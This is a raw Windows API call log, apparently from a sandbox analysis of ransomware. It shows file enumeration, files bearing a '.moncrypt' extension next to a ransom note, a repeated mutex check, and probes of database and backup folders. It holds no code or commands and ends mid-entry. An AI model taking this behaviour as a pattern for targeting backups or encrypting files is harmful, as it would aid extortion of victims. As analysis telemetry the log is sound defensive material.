FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0049.931] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.931] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.931] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.931] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.931] GlobalUnlock (hMem=0x440004) returned 0 [0049.931] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.931] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.931] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.931] GlobalUnlock (hMem=0x440004) returned 0 [0049.931] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.932] GlobalUnlock (hMem=0x44000c) returned 0 [0049.932] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.932] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3645, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL.moncrypt", cAlternateFileName="STINTL~1.MON")) returned 1 [0049.932] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0049.932] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0049.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.932] GlobalUnlock (hMem=0x44000c) returned 0 [0049.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.932] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.932] GlobalUnlock (hMem=0x44000c) returned 0 [0049.932] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.932] GlobalUnlock (hMem=0x440004) returned 0 [0049.932] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.932] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3645, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL.moncrypt", cAlternateFileName="STINTL~1.MON")) returned 0 [0049.932] GetLastError () returned 0x12 [0049.932] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.932] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.932] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.932] GlobalLock (hMem=0x440004) returned 0x550170 [0049.932] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.932] GlobalUnlock (hMem=0x440004) returned 0 [0049.932] GlobalLock (hMem=0x440004) returned 0x550170 [0049.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.932] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.932] GlobalUnlock (hMem=0x440004) returned 0 [0049.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.933] GlobalUnlock (hMem=0x44000c) returned 0 [0049.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.933] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0049.933] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.933] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.933] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.933] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.933] GlobalUnlock (hMem=0x44000c) returned 0 [0049.933] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.933] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.933] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.933] GlobalUnlock (hMem=0x44000c) returned 0 [0049.933] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.933] GlobalUnlock (hMem=0x440004) returned 0 [0049.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.933] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0049.933] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.933] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.933] GlobalLock (hMem=0x440004) returned 0x550170 [0049.933] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.933] GlobalUnlock (hMem=0x440004) returned 0 [0049.933] GlobalLock (hMem=0x440004) returned 0x550170 [0049.933] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.933] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.933] GlobalUnlock (hMem=0x440004) returned 0 [0049.933] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.933] GlobalUnlock (hMem=0x44000c) returned 0 [0049.933] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.933] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0049.933] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.934] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.934] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.934] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.934] GlobalUnlock (hMem=0x44000c) returned 0 [0049.934] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.934] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.934] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.934] GlobalUnlock (hMem=0x44000c) returned 0 [0049.934] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.934] GlobalUnlock (hMem=0x440004) returned 0 [0049.934] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.934] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0049.934] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.934] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.934] GlobalLock (hMem=0x440004) returned 0x550170 [0049.934] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.934] GlobalUnlock (hMem=0x440004) returned 0 [0049.934] GlobalLock (hMem=0x440004) returned 0x550170 [0049.934] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.934] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.934] GlobalUnlock (hMem=0x440004) returned 0 [0049.934] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.934] GlobalUnlock (hMem=0x44000c) returned 0 [0049.934] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.934] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3efa4ca0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3efa4ca0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3efa4ca0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.934] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.934] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.934] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.934] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.934] GlobalUnlock (hMem=0x44000c) returned 0 [0049.934] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.935] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.935] GlobalUnlock (hMem=0x44000c) returned 0 [0049.935] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.935] GlobalUnlock (hMem=0x440004) returned 0 [0049.935] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.935] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0049.935] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.935] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.935] GlobalLock (hMem=0x440004) returned 0x550170 [0049.935] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.935] GlobalUnlock (hMem=0x440004) returned 0 [0049.935] GlobalLock (hMem=0x440004) returned 0x550170 [0049.935] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.935] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.935] GlobalUnlock (hMem=0x440004) returned 0 [0049.935] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.935] GlobalUnlock (hMem=0x44000c) returned 0 [0049.935] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.935] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0049.935] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.935] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.935] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.935] GlobalUnlock (hMem=0x44000c) returned 0 [0049.935] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.935] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.935] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.935] GlobalUnlock (hMem=0x44000c) returned 0 [0049.935] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.935] GlobalUnlock (hMem=0x440004) returned 0 [0049.936] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.936] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0049.936] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.936] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.936] GlobalLock (hMem=0x440004) returned 0x550170 [0049.936] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.936] GlobalUnlock (hMem=0x440004) returned 0 [0049.936] GlobalLock (hMem=0x440004) returned 0x550170 [0049.936] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.936] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.936] GlobalUnlock (hMem=0x440004) returned 0 [0049.936] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.936] GlobalUnlock (hMem=0x44000c) returned 0 [0049.936] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.936] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.936] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.936] GlobalUnlock (hMem=0x44000c) returned 0 [0049.936] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.936] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.936] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.936] GlobalUnlock (hMem=0x44000c) returned 0 [0049.936] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.936] GlobalUnlock (hMem=0x440004) returned 0 [0049.936] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.936] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned 1 [0049.936] GlobalLock (hMem=0x440004) returned 0x550170 [0049.936] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.936] GlobalUnlock (hMem=0x440004) returned 0 [0049.937] GlobalLock (hMem=0x440004) returned 0x550170 [0049.937] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.937] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.937] GlobalUnlock (hMem=0x440004) returned 0 [0049.937] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.937] GlobalUnlock (hMem=0x44000c) returned 0 [0049.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뾆R뽚R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.937] GetLastError () returned 0x3 [0049.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18권Q\x181")) returned 0xffffffff [0049.938] GetLastError () returned 0x2 [0049.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@儔R企@\x18?T\x18;")) returned 0xffffffff [0049.938] GetLastError () returned 0x2 [0049.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0049.938] GetLastError () returned 0x2 [0049.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18儔R\x18j")) returned 0xffffffff [0049.938] GetLastError () returned 0x2 [0049.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0049.938] GetLastError () returned 0x2 [0049.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0049.939] GetLastError () returned 0x2 [0049.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18\x81")) returned 0xffffffff [0049.939] GetLastError () returned 0x2 [0049.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0049.939] GetLastError () returned 0x2 [0049.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0049.939] GetLastError () returned 0x2 [0049.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18\x97")) returned 0xffffffff [0049.939] GetLastError () returned 0x2 [0049.939] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.939] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.939] GlobalUnlock (hMem=0x44000c) returned 0 [0049.939] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.939] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.940] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.940] GlobalUnlock (hMem=0x44000c) returned 0 [0049.940] GlobalHandle (pMem=0x555b78) returned 